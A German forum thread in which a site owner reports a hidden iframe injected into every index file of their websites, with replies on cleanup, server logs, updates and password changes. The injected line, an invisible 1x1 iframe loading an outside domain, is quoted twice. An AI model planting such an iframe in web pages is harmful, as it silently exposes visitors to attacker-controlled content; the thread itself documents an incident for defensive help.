Hack: Fehlermeldung in jeder Index-Datei

[Käferli]

Code: Alles auswählen

<iframe src="http://ruoo.info" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

Das steht in jeder Index-Datei, hat jemand ne Ahnung, was das bedeutet,
und über welchen Weg das auf alle Server kommen konnte, bin nervlich am Ende...
nicht geantwortet, ich krieg echt Panik...

[thoste87]

update auf version 4.8.6 - zuerst vom provider eine sicherung hochspielen lassen (der selbst hochspielen) dann updaten.

Lg

[Käferli]

Aber worauf weist das hin, das ist sogar in Projekten, die ohne Contenido laufen, ich kann das alles nicht einordnen...

Worüber läuft so ein Angriff? Ich kann ja nicht alles per Verzeichnisschutz sichern, dann siehts ja keiner mehr.

[Oldperl]

Hallo Käferli,

das weist darauf hin das da jemand einen Shellzugriff auf deinen Webserver bekommen hat, so das er alle Dateien ändern kann.
Das ist nur über eine kurzfristige Sperrung und über neu Aufsetzen des Web raus zu bekommen.
Wichtig und gut wäre, wenn man an die Serverlogs kommt, um zu schauen wann und wo der- oder diejenigen sich eingeklinkt haben.
Auch sollten alle Zugänge/Passwörter dann geändert werden, und so weiter...

Habe grade eine Nacht mit einem gehackten Server hinter mir

Gruß aus Franken

Ortwin

[Käferli]

Gibt es eine automatisierte 300 Passwörter kommen bei mir mindestens zusammen...

[Oldperl]

Für Contenido ist mir da nichts bekannt. So was ließe sich aber proggen. Wichtig sind aber vor allem alle Serverpasswörter, vor allem DB und evtl. FTP. Und die für's Backend, außer man kommt übers Frontend an relevante Daten ran.

Gruß aus Franken

Ortwin

[kloevekorn]

Code: Alles auswählen

<iframe src="http://ruoo.info" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

Eine Suche in einer Suma deiner Wahl nach "iframe hack" oder auch nach
<iframe src="http://ruoo.info" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

ist erleuchtend.